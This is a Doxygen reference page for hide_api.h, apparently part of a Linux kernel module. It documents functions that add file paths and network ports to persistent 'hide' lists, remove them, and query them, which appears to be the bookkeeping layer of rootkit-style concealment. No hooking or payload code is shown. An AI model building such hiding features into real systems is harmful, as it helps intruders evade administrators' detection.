hide_api.h File Reference

#include <linux/types.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/list.h>
#include <linux/errno.h>

Include dependency graph for hide_api.h:

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Go to the source code of this file.

Functions
int	hide_init (void)
void	hide_exit (void)
int	hide_file (const char *path)
int	unhide_file (const char *path)
int	hide_contains_str (const char *u_path)
int	hide_list_get (char *buf, size_t buf_size)
int	hide_port_init (void)
void	hide_port_exit (void)
int	hide_port (const char *port)
int	unhide_port (const char *port)
int	port_contains (const char *port)
int	port_list_get (char *buf, size_t buf_size)

Function Documentation

hide_contains_str()

int hide_contains_str

(

const char *

u_path

)

Definition at line 66 of file hide_api.c.

                                          {
    return ulist_contains(&hide_list, u_path);
}

hide_exit()

void hide_exit

(

void

)

Definition at line 20 of file hide_api.c.

                     {
    ulist_save(&hide_list);
    ulist_clear(&hide_list);
}

hide_file()

int hide_file

(

const char *

path

)

Definition at line 25 of file hide_api.c.

                                {
    int ret;
    char modpath[256];
 
    if (strcmp(path, "/") == 0)
        return -EINVAL;
 
    if (strlen(path) >= sizeof(modpath))
        return -ENAMETOOLONG;
    strscpy(modpath, path, sizeof(modpath));
 
    size_t len = strlen(modpath);
    if (len > 1 && modpath[len - 1] == '/') {
        modpath[len - 1] = '\0';
    }
 
    ret = ulist_add(&hide_list, modpath, 0, NULL);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

hide_init()

int hide_init

(

void

)

Definition at line 9 of file hide_api.c.

                    {
    int ret;
 
    ulist_init(&hide_list, HIDE_CFG_FILE);
    ret = ulist_load(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

hide_list_get()

int hide_list_get	(	char *	buf,
		size_t	buf_size
	)

Definition at line 70 of file hide_api.c.

                                              {
    return ulist_list(&hide_list, buf, buf_size);
}

hide_port()

int hide_port

(

const char *

port

)

Definition at line 90 of file hide_api.c.

                                {
    int ret;
 
    ret = ulist_add(&hide_port_list, port, 0, NULL);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

hide_port_exit()

void hide_port_exit

(

void

)

Definition at line 85 of file hide_api.c.

                          {
    ulist_save(&hide_port_list);
    ulist_clear(&hide_port_list);
}

hide_port_init()

int hide_port_init

(

void

)

Definition at line 74 of file hide_api.c.

                         {
    int ret;
 
    ulist_init(&hide_port_list, HIDE_PORT_CFG_FILE);
    ret = ulist_load(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

port_contains()

int port_contains

(

const char *

port

)

Definition at line 118 of file hide_api.c.

                                    {
    return ulist_contains(&hide_port_list, port);
}

port_list_get()

int port_list_get	(	char *	buf,
		size_t	buf_size
	)

Definition at line 122 of file hide_api.c.

                                              {
    return ulist_list(&hide_port_list, buf, buf_size);
}

unhide_file()

int unhide_file

(

const char *

path

)

Definition at line 52 of file hide_api.c.

                                  {
    int ret;
 
    ret = ulist_remove(&hide_list, path);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

unhide_port()

int unhide_port

(

const char *

port

)

Definition at line 104 of file hide_api.c.

                                  {
    int ret;
 
    ret = ulist_remove(&hide_port_list, port);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}